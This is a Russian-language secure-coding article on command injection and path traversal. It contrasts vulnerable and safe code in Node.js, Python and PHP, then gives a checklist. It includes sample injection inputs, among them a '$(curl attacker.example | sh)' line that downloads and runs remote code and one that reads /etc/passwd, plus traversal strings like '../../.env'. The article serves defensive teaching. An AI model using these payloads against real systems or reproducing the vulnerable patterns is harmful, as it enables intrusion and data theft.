Перейти к содержанию
Innovialabs

Инъекции команд и path traversal: примеры атак и защита

Практика4 мин

Коротко

Обе атаки возникают, когда ввод пользователя становится частью команды shell или пути к файлу; защита — не вызывать shell, передавать аргументы массивом, принимать только разрешённые значения и проверять, что итоговый путь остаётся внутри базовой папки.

Короткий ответ

Инъекция команд (command injection) возникает, когда код собирает команду shell из пользовательского ввода, а атакующий дописывает свою команду через ;, &&, | или $(). Path traversal возникает, когда ввод становится частью пути к файлу, и последовательности вроде ../ позволяют читать или перезаписывать файлы за пределами нужной папки.

Принцип защиты общий: данные не должны превращаться в код или структуру. Вызывайте программы без shell, передавайте аргументы списком, принимайте только известные значения и проверяйте итоговый путь после нормализации.

Инъекция команд: уязвимые шаблоны

Все три примера ниже вклеивают параметр в строку, которую интерпретирует shell.

// Node.js — уязвимо
const { exec } = require("child_process");
exec(`ping -c 1 ${req.query.host}`, (err, out) => res.send(out));
# Python — уязвимо
import subprocess
subprocess.run(f"ping -c 1 {host}", shell=True)
// PHP — уязвимо
echo shell_exec("ping -c 1 " . $_GET["host"]);

Если отправить 8.8.8.8; cat /etc/passwd, shell выполнит обе команды. А через $(curl attacker.example | sh) можно скачать и запустить произвольный код с правами веб-сервера.

Инъекция команд: безопасные шаблоны

  1. Библиотека вместо CLI. Нужно сжать картинку или собрать архив? Нативная библиотека полностью убирает shell из цепочки.
  2. Вызывайте программу напрямую, без shell, и передавайте аргументы массивом. Тогда спецсимволы shell теряют смысл.
  3. Проверяйте по allowlist — регулярное выражение для имени хоста, перечисление для формата, диапазон для числа.
  4. Защититесь от инъекции аргументов. Даже без shell значение --output=/tmp/x может быть прочитано как опция. Ставьте -- перед пользовательскими значениями, если утилита это поддерживает, и отклоняйте значения, начинающиеся с -.
// Node.js — безопасно
const { execFile } = require("child_process");
if (!/^[a-zA-Z0-9.-]{1,253}$/.test(host)) return res.status(400).end();
execFile("ping", ["-c", "1", "--", host], (err, out) => res.send(out));
# Python — безопасно
subprocess.run(["ping", "-c", "1", "--", host], check=True, timeout=5)

В PHP используйте proc_open с командой в виде массива (поддерживается в современных версиях) или как минимум оборачивайте каждый аргумент в escapeshellarg(). Экранирование — запасной вариант, а не архитектура: один забытый вызов снова открывает дыру.

Path traversal: уязвимые шаблоны

// Node.js — уязвимо
const file = path.join(__dirname, "uploads", req.params.name);
res.sendFile(file);

Запрос ../../.env приведёт к файлу за пределами uploads. Та же ошибка встречается в Python с open(os.path.join(BASE, name)) и в PHP с file_get_contents("uploads/" . $name). Атакующие пробуют и закодированные варианты вроде %2e%2e%2f, обратные слэши в Windows и абсолютные пути: os.path.join("/data", "/etc/passwd") просто вернёт /etc/passwd.

Path traversal: безопасные шаблоны

Надёжная проверка: сначала получить полный путь, затем убедиться, что он внутри базовой папки.

// Node.js — безопасно
const BASE = path.resolve(__dirname, "uploads");
const target = path.resolve(BASE, req.params.name);
if (!target.startsWith(BASE + path.sep)) return res.status(400).end();
res.sendFile(target);
# Python — безопасно
from pathlib import Path
BASE = Path("/srv/app/uploads").resolve()
target = (BASE / name).resolve()
if not target.is_relative_to(BASE):
    raise PermissionError("invalid path")
// PHP — безопасно
$base = realpath(__DIR__ . "/uploads");
$target = realpath($base . DIRECTORY_SEPARATOR . $name);
if ($target === false || !str_starts_with($target, $base . DIRECTORY_SEPARATOR)) {
    http_response_code(400); exit;
}

Ещё лучше — вообще не использовать имена от пользователя. Храните файлы под сгенерированными ID (UUID), а исходное имя — в базе данных. Клиент запрашивает /files/3f2a…, сервер сам находит реальный путь.

Чек-лист

  • Никаких exec, shell=True, system, shell_exec и обратных кавычек с пользовательскими данными.
  • Аргументы массивом, -- перед пользовательскими значениями, запрет ведущего -.
  • Allowlist для хостов, форматов и расширений файлов.
  • Пути проходят через resolve/realpath и сверяются с базовой папкой.
  • Файлы хранятся под сгенерированными ID.
  • Приложение работает от пользователя с минимальными правами, чтобы успешная атака достигла меньшего.
  • Code review и правила SAST автоматически подсвечивают опасные функции.

Частые ошибки

  • Blocklist символов вроде ; или ../. Кодировок и обходов слишком много — выигрывает allowlist.
  • Проверка до декодирования. Проверяйте то значение, которое код реально использует, — после URL-декодирования и нормализации.
  • Проверка префикса без разделителя. /srv/uploads-old начинается с /srv/uploads; сравнивайте вместе с завершающим разделителем.
  • Забытые симлинки. realpath и Path.resolve() их раскрывают, а простая строковая нормализация — нет.

Частые вопросы

Функции экранирования помогают, но их легко забыть или применить неправильно для конкретного shell. Вызов программы без shell с массивом аргументов убирает проблему в корне.

Поможем с этим

Если хотите не разбираться самим, а получить результат — этим мы занимаемся каждый день.

Обсудить проект

Читайте также

Есть идея или задача? Расскажите нам

Ответим в течение рабочего дня и предложим решение. Консультация бесплатная.